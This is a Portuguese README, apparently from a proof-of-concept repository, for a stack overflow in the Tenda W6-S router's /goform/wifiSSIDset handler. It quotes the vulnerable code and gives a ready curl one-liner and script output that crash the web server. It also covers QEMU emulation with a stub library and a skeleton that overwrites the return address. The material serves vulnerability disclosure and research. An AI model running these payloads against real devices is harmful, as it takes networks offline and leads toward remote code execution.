
PoC para estouro de pilha CVE-2026-67822 no Tenda W6-S /goform/wifiSSIDset: reprodutor de DoS, shim QEMU MIPS e esqueleto conceitual de payload RCE.
wifiSSIDset do Tenda W6-S (PoC)PoC complementar para o artigo Hunt-Benito
"GO Without Bounds: CVE-2026-67822 — Stack Overflow in Tenda W6-S's wifiSSIDset Form Handler".
CVE-2026-67822 (CVSS 9.8 Crítico, CWE-121) é um estouro de buffer baseado em pilha
em formwrlSSIDset(), a função C por trás do endpoint /goform/wifiSSIDset do
ponto de acesso sem fio Tenda W6-S /bin/httpd (um servidor web derivado do GoAhead).
char v34[64]; /* buffer de pilha de 64 bytes */
GO = websGetVar(a1, "GO", "wireless_basic.asp");
index = websGetVar(a1, "index", "0");
sprintf(v34, "/%s?index=%s", GO, index); /* sem limite -> estouro de pilha */
Impacto confirmado: negação de serviço (queda do httpd).
Impacto potencial: execução remota de código (MIPS, sem canário de pilha / sem ASLR no build).
Contra um W6-S real (IP LAN padrão 192.168.5.10) ou uma instância emulada:
$ python3 poc_dos.py --target http://192.168.5.10
[*] Target : http://192.168.5.10/goform/wifiSSIDset
[*] Payload : GO = 2000 bytes ('A'), index = 0
[*] Sending POST...
[+] HTTP response: 200 (httpd accepted the request before crashing)
[*] Re-probing the management interface...
[!] httpd no longer responds (connection refused) — service crashed.
[+] Result: denial of service CONFIRMED.
Equivalente em uma linha:
$ curl -s http://192.168.5.10/goform/wifiSSIDset \
-d "GO=$(python3 -c "print('A'*2000)")&wl_radio=0&index=0"
Depois que a requisição retorna, a interface de gerenciamento fica inacessível até um ciclo de energia.
fake_apmib.so)O /bin/httpd espera silício real da Tenda (libapmib.so, o daemon cfmd, um MAC
de LAN). O shim fake_apmib.c simula apenas o suficiente desses componentes para permitir que o httpd
inicialize dentro de um sistema de arquivos de firmware emulado. A configuração espelha a
técnica do pesquisador original.
$ mips-linux-gnu-gcc -shared -fPIC -o fake_apmib.so fake_apmib.c
$ sudo brctl addbr virbr0
$ sudo ifconfig virbr0 192.168.5.1/24 up
$ sudo tunctl -t tap0
$ sudo ifconfig tap0 192.168.5.11/24 up
$ sudo brctl addif virbr0 tap0
$ sudo qemu-system-mips -M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_wheezy_mips_standard.qcow2 \
-append "root=/dev/sda1" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet \
-nographic
guest# ifconfig eth0 192.168.5.10
# copie o sistema de arquivos extraído do firmware + o shim para o convidado
$ scp ./squashfs-root.tar.gz [email protected]:/root/
$ scp ./fake_apmib.so [email protected]:/root/squashfs-root/
httpd com o shimguest# mount -o bind /proc ./squashfs-root/proc
guest# mount -o bind /dev ./squashfs-root/dev
guest# rm ./squashfs-root/webroot && ln -s /webroot_ro ./squashfs-root/webroot
guest# chroot ./squashfs-root/ /bin/sh
chroot# mkdir -p /var/run /tmp && chmod 1777 /tmp
chroot# LD_PRELOAD=/fake_apmib.so /bin/httpd &
A interface de gerenciamento agora está acessível em http://192.168.5.10
(login padrão admin / admin), e o poc_dos.py funciona contra ela exatamente como
funciona contra hardware real.
Os protótipos exatos dos auxiliares internos
apmib/cfmdda Tenda variam entre versões de firmware. Confirme-os contra olibapmib.soreal do seu alvo (objdump -T libapmib.so/ IDA) e ajuste ofake_apmib.cconforme necessário.
O exploit_conceptual.py documenta a forma da exploração além do DoS:
# 1) Encontre o deslocamento do buffer GO até o $ra salvo NA SUA versão de firmware
$ python3 exploit_conceptual.py --target http://192.168.5.10 probe --len 256
# (leia o $ra / PC que causou a falha no dump de crash do QEMU ou em um stub gdb, depois
# alimente-o em cyclic_offset() para recuperar o deslocamento exato)
# 2) Construa um payload que sobrescreva $ra com um endereço escolhido
$ python3 exploit_conceptual.py --target http://192.168.5.10 build --offset <N> --ra 0x<AABBCCDD>
Este esqueleto redireciona apenas $ra. Transformar o sequestro em execução real
de código exige shellcode em pilha não-NX ou uma cadeia ROP montada a partir de
gadgets na imagem de firmware específica — ambos específicos do build e intencionalmente
deixados para o pesquisador. O DoS está confirmado; RCE é o pior caso plausível
que o vetor CVSS (C:H/I:H) reflete.
Este código é para pesquisa de segurança autorizada apenas. Execute-o somente contra dispositivos que você possui ou para os quais tenha permissão escrita explícita para testar. Não o use contra redes ou hardware que você não controla.
| Produto afetado | Ponto de acesso sem fio Tenda W6-S |
| Firmware afetado | v1.0.0.4(510) |
| CVSS v3.1 | 9.8 Crítico (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-121 (Estouro de Buffer Baseado em Pilha) |
| Endpoint vulnerável | POST /goform/wifiSSIDset (parâmetros GO, index) |
| Descobridor / crédito | trister |
| Arquivo | Finalidade |
|---|
poc_dos.py | Reprodutor de DoS confirmado. Envia um parâmetro GO superdimensionado e detecta a queda resultante do httpd. Apenas stdlib — sem dependências. |
exploit_conceptual.py | Esqueleto conceitual de RCE. Demonstra a forma do sequestro de fluxo de controle (preenchimento até o $ra salvo, sobrescrita) e um auxiliar de padrão cíclico para derivar empiricamente o deslocamento até $ra. Não inclui shellcode funcional ou endereços de gadgets. |
fake_apmib.c | Shim LD_PRELOAD que simula chamadas de hardware/MIB da Tenda para que o /bin/httpd inicialize em um convidado QEMU MIPS — a técnica usada para reproduzir o bug sem um dispositivo físico. |
| Interceptações do shim | Retorna | Porquê |
|---|
apmib_init() | 1 | ignora a inicialização de hardware/MIB |
ConnectCfm() | 1 | finge que o daemon cfmd respondeu |
GetValue("lan.ip", …) | 192.168.5.10 | IP de gerenciamento estático |
ioctl(SIOCGIFHWADDR) | 00:11:22:33:44:55 | MAC falso |
connect() | passagem direta | conexões unix-socket/TCP resolvem |